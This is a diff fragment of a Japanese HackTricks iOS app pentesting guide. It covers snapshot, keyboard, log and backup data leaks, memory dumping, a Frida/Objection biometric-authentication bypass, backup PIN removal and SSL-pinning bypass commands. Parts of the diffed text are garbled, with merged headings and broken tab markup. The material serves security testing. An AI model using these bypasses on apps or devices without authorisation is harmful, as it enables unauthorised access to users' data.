-ホームボタンを押すたびに、iOSは**現在の画面のスナップショット**を取得して、アプリケーションへの遷移をよりスムーズに行うことができます。ただし、**機密データ**が現在の画面に存在する場合、それは**画像に保存**されます(これは**再起動を超えて永続化**されます)。これらは、アプリケーション間を切り替えるためにホーム画面をダブルタップすることでアクセスできるスナップショットです。
+ホームボタンを押すたびに、iOSは**現在の画面のスナップショット**を取得して、アプリケーションへの遷移をよりスムーズに行うことができます。ただし、**現在の画面に機密データ**がある場合、それは**画像に保存**されます(これは**再起動を超えて永続化**されます)。これらは、アプリケーション間を切り替えるためにホーム画面をダブルタップすることでアクセスできるスナップショットです。
-iPhoneがジェイルブレイクされていない限り、**攻撃者**はこれらのスクリーンショットを見るためには**デバイスをアンロック**する必要があります。デフォルトでは、最後のスナップショットは`Library/Caches/Snapshots/`または`Library/SplashBoard/Snapshots`フォルダにアプリのサンドボックス内に保存されます(信頼されたコンピュータはiOS 7.0からファイルシステムにアクセスできません)。
+iPhoneがジェイルブレイクされていない限り、**攻撃者**はこれらのスクリーンショットを見るためには**デバイスのアンロックが必要**です。デフォルトでは、最後のスナップショットはアプリのサンドボックス内の`Library/Caches/Snapshots/`または`Library/SplashBoard/Snapshots`フォルダに保存されます(信頼されたコンピュータはiOS 7.0以降ではファイルシステムにアクセスできません)。
-この悪い振る舞いを防ぐ方法の1つは、スナップショットを取る前に空白の画面を表示するか、機密データを削除することです。これは`ApplicationDidEnterBackground()`関数を使用して行います。
+この悪い動作を防ぐ方法の1つは、スナップショットを取る前に空白の画面を表示するか、機密データを削除することです。これは`ApplicationDidEnterBackground()`関数を使用して行います。
以下は、デフォルトのスクリーンショットを設定するサンプルの緩和方法です。
@@ -570,7 +564,7 @@ backgroundImage?.removeFromSuperview()
```
Objective-C:
-Objective-C(オブジェクティブシー):
+Objective-C(オブジェクティブシー):
```
@property (UIImageView *)backgroundImage;
@@ -593,7 +587,7 @@ iOSキーチェーンへのアクセスと管理には、[**Keychain-Dumper**](h
#### **資格情報の保存**
-**NSURLCredential**クラスは、機密情報を直接キーチェーンに保存するために理想的であり、NSUserDefaultsや他のラッパーをバイパスします。ログイン後に資格情報を保存するには、次のSwiftコードが使用されます:
+**NSURLCredential**クラスは、機密情報を直接キーチェーンに保存するのに最適であり、NSUserDefaultsや他のラッパーをバイパスします。ログイン後に資格情報を保存するには、次のSwiftコードが使用されます:
```swift
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
@@ -601,44 +595,44 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
```
## **カスタムキーボードとキーボードキャッシュ**
-iOS 8.0以降、ユーザーは**Settings > General > Keyboard > Keyboards**の下でカスタムキーボード拡張機能をインストールできます。これらのキーボードは拡張機能を提供しますが、キーストロークの記録や外部サーバーへのデータ送信のリスクがあります。ただし、ユーザーにはネットワークアクセスが必要なキーボードについて通知されます。アプリは、カスタムキーボードの使用を機密情報の入力に制限すべきです。
+iOS 8.0以降、ユーザーは**Settings > General > Keyboard > Keyboards**の下でカスタムキーボード拡張機能をインストールできます。これらのキーボードは拡張機能を提供しますが、キーストロークの記録や外部サーバーへのデータ送信のリスクがあります。ただし、ユーザーはネットワークアクセスが必要なキーボードについて通知されます。アプリは、カスタムキーボードの使用を機密情報の入力に制限すべきです。
**セキュリティ推奨事項:**
-- セキュリティを強化するために、サードパーティのキーボードを無効にすることが推奨されています。
-- デフォルトのiOSキーボードの自動修正機能やオートサジェスト機能に注意することが重要です。これらは、`Library/Keyboard/{locale}-dynamic-text.dat`または`/private/var/mobile/Library/Keyboard/dynamic-text.dat`にあるキャッシュファイルに機密情報を保存する可能性があります。これらのキャッシュファイルは定期的に機密データをチェックすべきです。キーボード辞書を**Settings > General > Reset > Reset Keyboard Dictionary**からリセットすることで、キャッシュされたデータをクリアすることが推奨されています。
-- ネットワークトラフィックを傍受することで、カスタムキーボードがリモートでキーストロークを送信しているかどうかがわかります。
+* セキュリティを強化するために、サードパーティのキーボードを無効にすることが推奨されています。
+* デフォルトのiOSキーボードの自動修正やオートサジェスト機能に注意することが重要です。これらは、`Library/Keyboard/{locale}-dynamic-text.dat`または`/private/var/mobile/Library/Keyboard/dynamic-text.dat`にあるキャッシュファイルに機密情報を保存する可能性があります。これらのキャッシュファイルは定期的に機密データをチェックする必要があります。キーボード辞書を**Settings > General > Reset > Reset Keyboard Dictionary**からリセットしてキャッシュされたデータをクリアすることが推奨されています。
+* ネットワークトラフィックを傍受することで、カスタムキーボードがリモートでキーストロークを送信しているかどうかがわかります。
-### **テキストフィールドキャッシュの防止**
+### **テキストフィールドキャッシングの防止**
-[UITextInputTraitsプロトコル](https://developer.apple.com/reference/uikit/uitextinputtraits)は、自動修正やセキュアなテキスト入力を管理するプロパティを提供し、機密情報のキャッシュを防ぐために重要です。たとえば、自動修正を無効にし、セキュアなテキスト入力を有効にすることは、次のように実現できます:
+[UITextInputTraitsプロトコル](https://developer.apple.com/reference/uikit/uitextinputtraits)は、自動修正やセキュアなテキスト入力を管理するプロパティを提供し、機密情報のキャッシングを防ぐために重要です。たとえば、自動修正を無効にし、セキュアなテキスト入力を有効にすることは、次のように実現できます:
```objectivec
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
```
-また、開発者は、特にパスワードやPINなどの機密情報を入力するためのテキストフィールドについて、`autocorrectionType`を`UITextAutocorrectionTypeNo`に設定し、`secureTextEntry`を`YES`に設定することでキャッシュを無効にするようにする必要があります。
+また、開発者は、`autocorrectionType`を`UITextAutocorrectionTypeNo`に設定し、`secureTextEntry`を`YES`に設定することでキャッシュを無効にし、パスワードやPINなどの機密情報を入力するためのテキストフィールドが特にそれを行うようにする必要があります。
```objectivec
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
```
## **ログ**
-デバッグコードにはしばしば**ログ**の使用が含まれます。**ログには機密情報が含まれる可能性**があります。以前は、iOS 6およびそれ以前のバージョンでは、ログはすべてのアプリからアクセス可能であり、機密データの漏洩のリスクがありました。**現在、アプリケーションは自分自身のログにのみアクセスできるように制限されています**。
+デバッグコードでは、**ログ**の使用が一般的です。**ログには機密情報が含まれる可能性**があります。以前は、iOS 6およびそれ以前のバージョンでは、ログはすべてのアプリからアクセス可能であり、機密データの漏洩のリスクがありました。**現在、アプリケーションは自分自身のログにのみアクセスできるように制限されています**。
これらの制限にもかかわらず、**ロック解除されたデバイスに物理的アクセス**を持つ攻撃者は、デバイスをコンピュータに接続してログを**読む**ことでこれを悪用することができます。ログはアプリのアンインストール後もディスク上に残っていることに注意することが重要です。
リスクを軽減するためには、アプリと**徹底的にやり取り**し、機密情報が誤ってログに記録されていないかを確認するために、すべての機能と入力を調査することが推奨されています。
-潜在的な漏洩を確認するためにアプリのソースコードを確認する際には、`NSLog`、`NSAssert`、`NSCAssert`、`fprintf`などの組み込み関数に関連する**事前定義**および**カスタムログステートメント**、およびカスタム実装に関連する`Logging`または`Logfile`などのキーワードを探します。
+潜在的な漏洩を確認するためにアプリのソースコードを確認する際には、**事前定義**および**カスタムログステートメント**を探し、組み込み関数用の `NSLog`、`NSAssert`、`NSCAssert`、`fprintf`、およびカスタム実装用の `Logging` または `Logfile` のようなキーワードを使用してください。
### **システムログの監視**
-アプリはさまざまな情報をログに記録することがあり、これらは機密情報になる可能性があります。これらのログを監視するために、次のようなツールやコマンドがあります:
+アプリはさまざまな情報をログに記録しますが、これらは機密情報になる可能性があります。これらのログを監視するために、次のようなツールやコマンドが使用されます:
```bash
idevice_id --list # To find the device ID
idevicesyslog -u (| grep ) # To capture the device logs
```
-以下は役立ちます。さらに、**Xcode** はコンソールログを収集する方法を提供します:
+以下の手順は役立ちます。さらに、**Xcode** はコンソールログを収集する方法を提供します:
1. Xcode を開きます。
2. iOS デバイスを接続します。
@@ -647,27 +641,25 @@ idevicesyslog -u (| grep ) # To capture the device logs
5. 調査中の問題をトリガーします。
6. **Open Console** ボタンを使用して、新しいウィンドウでログを表示します。
-より高度なログ記録のために、デバイスシェルに接続して **socat** を使用することでリアルタイムのログモニタリングが可能です:
+より高度なログ記録のために、デバイスシェルに接続して **socat** を使用することでリアルタイムのログモニタリングが可能です:
```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```
-### ログアクティビティの観察
-
-ログアクティビティを観察するコマンドは、問題の診断やログ内の潜在的なデータ漏洩の特定に非常に役立ちます。
+### ログアクティビティの観察コマンドに続いて、問題の診断やログ内の潜在的なデータ漏洩の特定に役立つかもしれないコマンドがあります。
***
-
+
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。\
-今すぐアクセスしてください:
+今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## バックアップ
-iOSには**自動バックアップ機能**が統合されており、iTunes(macOS Catalinaまで)、Finder(macOS Catalina以降)、またはiCloudを介してデバイスデータのコピーを簡単に作成できます。これらのバックアップには、Apple Payの詳細やTouch IDの構成などの高度に機密性の高い要素を除く、ほぼすべてのデバイスデータが含まれています。
+iOSには**オートバックアップ機能**が統合されており、iTunes(macOS Catalinaまで)、Finder(macOS Catalina以降)、またはiCloudを介してデバイスデータのコピーを簡単に作成できます。これらのバックアップには、Apple Payの詳細やTouch IDの構成などの高度に機密性の高い要素を除く、ほぼすべてのデバイスデータが含まれています。
### セキュリティリスク
@@ -679,9 +671,9 @@ iOSには**自動バックアップ機能**が統合されており、iTunes(m
### 脆弱性のテスト
-アプリのバックアップセキュリティを評価するためには、まずFinderを使用してバックアップを作成し、次に[Appleの公式ドキュメント](https://support.apple.com/en-us/HT204215)のガイダンスに従ってそのバックアップを特定します。バックアップを機密データや構成の観点から分析し、アプリの動作に影響を与える可能性のあるものを特定します。
+アプリのバックアップセキュリティを評価するためには、Finderを使用して**バックアップを作成**し、次に[Appleの公式ドキュメント](https://support.apple.com/en-us/HT204215)のガイダンスに従ってそれを特定します。バックアップを機密データや構成の分析し、アプリの動作に影響を与える可能性のあるものを確認します。
-機密情報は、コマンドラインツールや[iMazing](https://imazing.com)などのアプリケーションを使用して検索できます。暗号化されたバックアップの場合、暗号化の有無は、バックアップのルートにある"Manifest.plist"ファイル内の"IsEncrypted"キーを確認することで確認できます。
+機密情報は、コマンドラインツールや[iMazing](https://imazing.com)などのアプリケーションを使用して検索できます。暗号化されたバックアップの場合、暗号化の存在は、バックアップのルートにある"Manifest.plist"ファイル内の"IsEncrypted"キーを確認することで確認できます。
```xml
@@ -696,19 +688,19 @@ iOSには**自動バックアップ機能**が統合されており、iTunes(m
```
### 暗号化されたバックアップの取り扱い
-暗号化されたバックアップに対処するために、[DinoSecのGitHubリポジトリ](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts)で利用可能なPythonスクリプト、**backup\_tool.py**や**backup\_passwd.py**などが役立つかもしれませんが、最新のiTunes/Finderバージョンとの互換性を確保するために調整が必要かもしれません。[**iOSbackup**ツール](https://pypi.org/project/iOSbackup/)も、パスワードで保護されたバックアップ内のファイルにアクセスする別のオプションです。
+暗号化されたバックアップに対処するために、[DinoSecのGitHubリポジトリ](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts)で利用可能なPythonスクリプト、例えば**backup\_tool.py**や**backup\_passwd.py**などが役立つかもしれませんが、最新のiTunes/Finderバージョンとの互換性を確保するために調整が必要かもしれません。[**iOSbackup**ツール](https://pypi.org/project/iOSbackup/)も、パスワードで保護されたバックアップ内のファイルにアクセスする別のオプションです。
### アプリの動作の変更
-バックアップの変更を通じてアプリの動作を変更する例として、[Bither bitcoin walletアプリ](https://github.com/bither/bither-ios)があります。ここでは、UIロックPINが**pin\_code**キーの下に`net.bither.plist`に保存されています。このキーをplistから削除し、バックアップを復元すると、PINの要件がなくなり、制限なしにアクセスできます。
+バックアップの変更を通じてアプリの動作を変更する例として、[Bitherビットコインウォレットアプリ](https://github.com/bither/bither-ios)があります。ここでは、UIロックPINが**pin\_code**キーの下に`net.bither.plist`に保存されています。このキーをplistから削除し、バックアップを復元すると、PINの要件が削除され、制限なしにアクセスできるようになります。
-## 機密データのメモリテストに関する要約
+## 機密データのメモリテストに関するまとめ
-アプリケーションのメモリに保存されている機密情報を取り扱う際には、このデータの露出時間を制限することが重要です。メモリコンテンツを調査するための主なアプローチには、**メモリダンプの作成**と**リアルタイムでのメモリの分析**があります。両方の方法には、ダンププロセスや分析中に重要なデータを見逃す可能性など、さまざまな課題があります。
+アプリケーションのメモリに保存されている機密情報を取り扱う際には、このデータの露出時間を制限することが重要です。メモリ内容を調査するための主なアプローチには、**メモリダンプの作成**と**リアルタイムでのメモリ解析**があります。両方の方法には、ダンププロセスや解析中に重要なデータを見逃す可能性など、さまざまな課題があります。
-## **メモリダンプの取得と分析**
+## **メモリダンプの取得と解析**
-脱獄済みおよび非脱獄済みデバイスの両方に対して、[objection](https://github.com/sensepost/objection)や[Fridump](https://github.com/Nightbringer21/fridump)などのツールを使用して、アプリのプロセスメモリをダンプすることができます。一度ダンプしたら、このデータを分析するには、検索している情報の性質に応じてさまざまなツールが必要です。
+脱獄済みおよび非脱獄デバイスの両方に対して、[objection](https://github.com/sensepost/objection)や[Fridump](https://github.com/Nightbringer21/fridump)などのツールを使用して、アプリのプロセスメモリをダンプすることができます。一度ダンプしたら、このデータを解析するには、検索している情報の性質に応じてさまざまなツールが必要です。
メモリダンプから文字列を抽出するには、`strings`や`rabin2 -zz`などのコマンドを使用できます。
```bash
@@ -726,7 +718,7 @@ $ r2
```
## **ランタイムメモリ解析**
-**r2frida**は、メモリダンプを必要とせずに、アプリのメモリをリアルタイムで調査する強力な代替手段を提供します。このツールを使用すると、実行中のアプリケーションのメモリ上で直接検索コマンドを実行できます。
+**r2frida**は、メモリダンプを必要とせずにリアルタイムでアプリのメモリを調査する強力な代替手段を提供します。このツールを使用すると、実行中のアプリケーションのメモリ上で検索コマンドを直接実行できます。
```bash
$ r2 frida://usb//
[0x00000000]> /\
@@ -735,21 +727,21 @@ $ r2 frida://usb//
### 鍵管理プロセスの不備
-一部の開発者は、機密データをローカルストレージに保存し、コード内でハードコード化/予測可能なキーで暗号化しています。これは行ってはいけません。リバースエンジニアリングによって攻撃者が機密情報を抽出できる可能性があります。
+一部の開発者は、機密データをローカルストレージに保存し、コード内でハードコード化/予測可能なキーで暗号化しています。これは行ってはいけません。逆向きの操作により、攻撃者が機密情報を抽出する可能性があります。
### 安全でないおよび/または非推奨のアルゴリズムの使用
-開発者は、**非推奨のアルゴリズム**を使用して認証**チェック**、データの**保存**または**送信**を行うべきではありません。これらのアルゴリズムの一部には、RC4、MD4、MD5、SHA1などがあります。たとえばパスワードを保存するために**ハッシュ**が使用されている場合、ソルトを使用したハッシュブルートフォース**耐性**が必要です。
+開発者は、**非推奨のアルゴリズム**を使用して認証**チェック**、データの**保存**または**送信**を行うべきではありません。これらのアルゴリズムの一部には、RC4、MD4、MD5、SHA1などがあります。たとえばパスワードを保存するために**ハッシュ**が使用されている場合、ソルトを使用したハッシュがブルートフォース攻撃に**耐性**があるべきです。
### チェック
コード内に**ハードコード**されたパスワード/シークレットが見つかるか、それらが**予測可能**であるか、コードが**弱い** **暗号化**アルゴリズムを使用しているかを確認するために行う主なチェックです。
-興味深いことに、**objection**を使用して一部の**暗号** **ライブラリ**を自動的に**監視**できます。
+興味深いことに、**objection**を使用していくつかの**暗号** **ライブラリ**を自動的に**監視**できます。
```swift
ios monitor crypt
```
-**iOS暗号APIおよびライブラリに関する詳細**については、[https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)にアクセスしてください。
+**iOS暗号APIおよびライブラリ**に関する詳細は、[https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)にアクセスしてください。
## ローカル認証
@@ -763,28 +755,25 @@ Touch ID/Face IDを統合するために、開発者は2つのAPI選択肢があ
* **`Security.framework`**:生体認証で秘密データを保護し、キーチェーンサービスにアクセスします。さまざまな[オープンソースのラッパー](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)がキーチェーンアクセスを簡素化しています。
{% hint style="danger" %}
-ただし、`LocalAuthentication.framework`と`Security.framework`の両方には脆弱性があり、主に認証プロセスのデータを送信せずにブール値を返すため、バイパスされやすくなっています([Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)を参照)。
+ただし、`LocalAuthentication.framework`と`Security.framework`の両方には脆弱性があり、主に認証プロセスのためにデータを送信せずにブール値を返すため、バイパスされやすくなっています([Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)を参照)。
{% endhint %}
### ローカル認証の実装
-ユーザーに認証を求めるために、開発者は**`LAContext`**クラス内の**`evaluatePolicy`**メソッドを使用し、次のいずれかを選択する必要があります:
+ユーザーに認証を求めるために、開発者は**`LAContext`**クラス内の**`evaluatePolicy`**メソッドを使用し、次のいずれかを選択します:
-* **`deviceOwnerAuthentication`**:Touch IDまたはデバイスのパスコードを求め、どちらも有効になっていない場合は失敗します。
+* **`deviceOwnerAuthentication`**:Touch IDまたはデバイスのパスコードを求め、どちらも有効でない場合は失敗します。
* **`deviceOwnerAuthenticationWithBiometrics`**:Touch IDのみを求めます。
-**`evaluatePolicy`**からのブール値の返り値によって、認証が成功したかどうかが示され、潜在的なセキュリティ上の欠陥が明らかになります。
+**`evaluatePolicy`**からのブール値の返り値によって、成功した認証が示され、潜在的なセキュリティ上の欠陥が強調されます。
### キーチェーンを使用したローカル認証
-iOSアプリで**ローカル認証**を実装するには、認証トークンなどの秘密データを安全に保存するために**キーチェーンAPI**を使用します。このプロセスにより、データはユーザーによってのみアクセスでき、デバイスのパスコードやTouch IDなどの生体認証を使用して認証されます。
+iOSアプリで**ローカル認証**を実装するには、**キーチェーンAPI**を使用して認証トークンなどの秘密データを安全に保存します。このプロセスにより、データはユーザーが自分のデバイスのパスコードまたはTouch IDなどの生体認証を使用してのみアクセスできるようになります。
-キーチェーンは、`SecAccessControl`属性を持つアイテムを設定する機能を提供し、ユーザーがTouch IDまたはデバイスのパスコードを使用して正常に認証するまで、アイテムへのアクセスを制限します。この機能はセキュリティを向上させるために重要です。
+キーチェーンは、`SecAccessControl`属性を持つアイテムを設定する機能を提供し、ユーザーがTouch IDまたはデバイスのパスコードを使用して正常に認証するまでアイテムへのアクセスを制限します。この機能はセキュリティを強化するために重要です。
-以下は、SwiftとObjective-Cで、これらのセキュリティ機能を活用してキーチェーンに文字列を保存および取得する方法を示すコード例です。これらの例は、Touch ID認証が必要であり、データが設定されたデバイスのみでアクセス可能であることを確認するためにアクセス制御を設定する方法を具体的に示しています。
-
-{% tabs %}
-{% tab title="Swift" %}
+以下は、SwiftとObjective-Cで、これらのセキュリティ機能を活用してキーチェーンに文字列を保存および取得する方法を示すコード例です。これらの例は、Touch ID認証が必要であり、デバイスのパスコードが構成されている場合にのみデータにアクセスできるようにする方法を具体的に示しています。
```swift
// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md
@@ -825,7 +814,7 @@ if status == noErr {
{% tab title="Objective-C" %}
-iOSアプリケーションのペネトレーションテストを行う際に、Objective-Cの知識が必要となる場合があります。Objective-Cは、iOSアプリケーションの開発に広く使用されているプログラミング言語です。ペネトレーションテスターは、Objective-Cの基本構文やiOSアプリケーションでの使用方法を理解する必要があります。アプリケーションの解析や脆弱性の特定に役立つことがあります。
+iOSアプリケーションのペネトレーションテストを行う際に、Objective-Cの知識が必要となる場合があります。Objective-CはiOSアプリケーションの開発で広く使用されているプログラミング言語です。ペネトレーションテスターはObjective-Cの基本的な構文やiOSアプリケーションでの使用方法を理解する必要があります。{% endtab %}
```objectivec
// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;
@@ -853,7 +842,7 @@ if (status == noErr) {
// error while saving
}
```
-以下は、キーチェーンから保存されたアイテムをリクエストすることができます。キーチェーンサービスは、適切な指紋が提供されたかどうかに応じて、ユーザーに認証ダイアログを表示し、データまたはnilを返します。
+以下は、キーチェーンから保存されたアイテムをリクエストする方法です。キーチェーンサービスは、ユーザーに認証ダイアログを表示し、適切な指紋が提供されたかどうかに応じてデータまたはnilを返します。
```swift
// 1. define query
var query = [String: Any]()
@@ -880,7 +869,7 @@ let password = String(data: queryResult as! Data, encoding: .utf8)!
{% tab title="Objective-C" %}
-iOSアプリケーションのペネトレーションテストを行う際に、Objective-Cの知識が必要となる場合があります。Objective-Cは、iOSアプリケーションの開発に広く使用されているプログラミング言語です。ペネトレーションテスターは、Objective-Cの基本構文やiOSアプリケーションでの使用方法を理解する必要があります。{% endtab %}
+iOSアプリケーションのペネトレーションテストを行う際に、Objective-Cの知識が必要となる場合があります。Objective-Cは、iOSアプリケーションの開発に広く使用されているプログラミング言語です。ペネトレーションテスターは、Objective-Cの基本構文やiOSアプリケーションでの使用方法を理解する必要があります。アプリケーションの脆弱性を特定し、セキュリティを向上させるために、Objective-Cのコードを分析することが重要です。{% endtab %}
```objectivec
// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
@@ -903,7 +892,7 @@ NSLog(@"Something went wrong");
```
### 検知
-アプリ内でのフレームワークの使用は、アプリのバイナリの共有ダイナミックライブラリのリストを分析することで検出することもできます。これは`otool`を使用して行うことができます:
+アプリ内でのフレームワークの使用は、`otool`を使用してアプリのバイナリの共有ダイナミックライブラリのリストを分析することで検出することもできます。
```bash
$ otool -L .app/
```
@@ -912,11 +901,13 @@ $ otool -L .app/
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
```
-### ローカル認証フレームワークバイパス
+`Security.framework`が使用されている場合、2番目のみ表示されます。
+
+### ローカル認証フレームワークのバイパス
#### **Objection**
-**Objectionバイオメトリクスバイパス**を通じて、[このGitHubページ](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)に位置する、**LocalAuthentication**メカニズムを克服するためのテクニックが利用可能です。このアプローチの中心には、**Frida**を活用して`evaluatePolicy`関数を操作し、実際の認証成功に関係なく常に`True`の結果を返すようにすることが含まれています。これは、欠陥のある生体認証プロセスを回避するのに特に役立ちます。
+**Objectionバイオメトリクスバイパス**によって、[このGitHubページ](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)にある、**LocalAuthentication**メカニズムを克服するためのテクニックが利用可能です。このアプローチの中心には、`evaluatePolicy`関数を操作するために**Frida**を活用し、実際の認証成功に関係なく常に`True`の結果を返すようにします。これは、欠陥のある生体認証プロセスを回避するのに特に役立ちます。
このバイパスをアクティブ化するには、次のコマンドが使用されます:
```bash
@@ -983,7 +974,7 @@ return result;
console.log("Objective-C Runtime is not available!");
}
```
-Fridaスクリプトをインジェクトして生体認証をバイパスするためには、次のコマンドを使用します:
+以下のコマンドを使用して、Fridaスクリプトをインジェクトし、生体認証をバイパスします:
```bash
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
```
@@ -1033,7 +1024,7 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
## ネットワーク通信
-**暗号化なしでの通信**が行われていないことを確認し、アプリケーションがサーバーのTLS証明書を正しく**検証**していることも重要です。\
+**暗号化なしで通信が行われていないこと**と、アプリケーションがサーバーのTLS証明書を正しく**検証していること**を確認することが重要です。\
この種の問題をチェックするためには、**Burp**のようなプロキシを使用できます:
{% content-ref url="burp-configuration-for-ios.md" %}
@@ -1042,12 +1033,12 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
### ホスト名の確認
-TLS証明書を検証する一般的な問題は、証明書が**信頼されるCA**によって署名されていることを確認することですが、証明書の**ホスト名**がアクセスされているホスト名と一致しているかどうかを**確認しない**ことです。\
-この問題をBurpを使用してチェックするためには、iPhoneでBurp CAを信頼した後、Burpで異なるホスト名用の新しい証明書を作成して使用します。アプリケーションがまだ動作する場合、何かが脆弱です。
+TLS証明書を検証する一般的な問題は、証明書が**信頼されるCAによって署名された**ことを確認することですが、証明書の**ホスト名**がアクセスされているホスト名と一致しているかどうかを**確認しない**ことです。\
+Burpを使用してこの問題をチェックするには、iPhoneでBurp CAを信頼した後、Burpで**異なるホスト名のために新しい証明書を作成**して使用します。アプリケーションがまだ動作する場合、何かが脆弱です。
### 証明書ピニング
-アプリケーションが正しくSSLピニングを使用している場合、アプリケーションは期待される証明書でのみ動作します。アプリケーションをテストする際には、**これは問題になる可能性があります。なぜなら、Burpは独自の証明書を提供するからです。**\
+アプリケーションが正しくSSL Pinningを使用している場合、アプリケーションは期待される証明書でのみ動作します。アプリケーションをテストする際には、**Burpが独自の証明書を提供するため、これが問題になる可能性があります。**\
この保護をバイパスするために、ジェイルブレイクされたデバイス内でアプリケーション[**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)をインストールするか、[**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)をインストールできます。
また、**objection**の`ios sslpinning disable`を使用することもできます。
@@ -1055,19 +1046,19 @@ TLS証明書を検証する一般的な問題は、証明書が**信頼される
## その他
* **`/System/Library`**には、システムアプリケーションで使用される電話にインストールされたフレームワークがあります。
-* ユーザーがApp Storeからインストールしたアプリケーションは**`/User/Applications`**内にあります。
+* ユーザーがApp Storeからインストールしたアプリケーションは**`/User/Applications`**にあります。
* **`/User/Library`**には、ユーザーレベルのアプリケーションによって保存されたデータが含まれています。
* **`/User/Library/Notes/notes.sqlite`**にアクセスして、アプリケーション内に保存されたノートを読むことができます。
-* インストールされたアプリケーションのフォルダー内(**`/User/Applications//`**)には、いくつかの興味深いファイルがあります:
+* インストールされたアプリケーションのフォルダー内(**`/User/Applications//`**)には、いくつかの興味深いファイルがあります:
* **`iTunesArtwork`**: アプリで使用されるアイコン
* **`iTunesMetadata.plist`**: App Storeで使用されるアプリの情報
- * **`/Library/*`**: 偏好設定とキャッシュが含まれています。**`/Library/Cache/Snapshots/*`**には、アプリをバックグラウンドに送信する前に実行されたスナップショットが見つかります。
+ * **`/Library/*`**: 設定とキャッシュが含まれています。**`/Library/Cache/Snapshots/*`**には、アプリケーションをバックグラウンドに送信する前に実行されたスナップショットが見つかります。
### ホットパッチング/強制更新
開発者は、アプリケーションを再提出して承認されるまで待つ必要なく、すべてのインストールされたアプリケーションをリモートで**即座にパッチ**することができます。\
この目的のためには通常、[**JSPatch**](https://github.com/bang590/JSPatch)**などが使用されます。** ただし、[Siren](https://github.com/ArtSabintsev/Siren)や[react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)などの他のオプションもあります。\
-**これは悪意のある第三者SDKによって悪用される可能性がある危険なメカニズムであるため、自動更新にどの方法が使用されているかを確認し、テストすることが推奨されます。** この目的のために以前のバージョンのアプリをダウンロードしてみることができます。
+**これは悪意のある第三者SDKによって悪用される可能性がある危険なメカニズムであるため、自動更新にどの方法が使用されているか(あれば)を確認し、テストすることが推奨されます。** この目的のために以前のバージョンのアプリをダウンロードしてみることができます。
### サードパーティ
@@ -1105,14 +1096,14 @@ otool -L
* [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
* [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2)
* [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground)
-* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-Cバージョン [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swiftバージョン
+* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-C version [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swift version
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\
+[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -1123,10 +1114,10 @@ otool -L
HackTricksをサポートする他の方法:
-* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
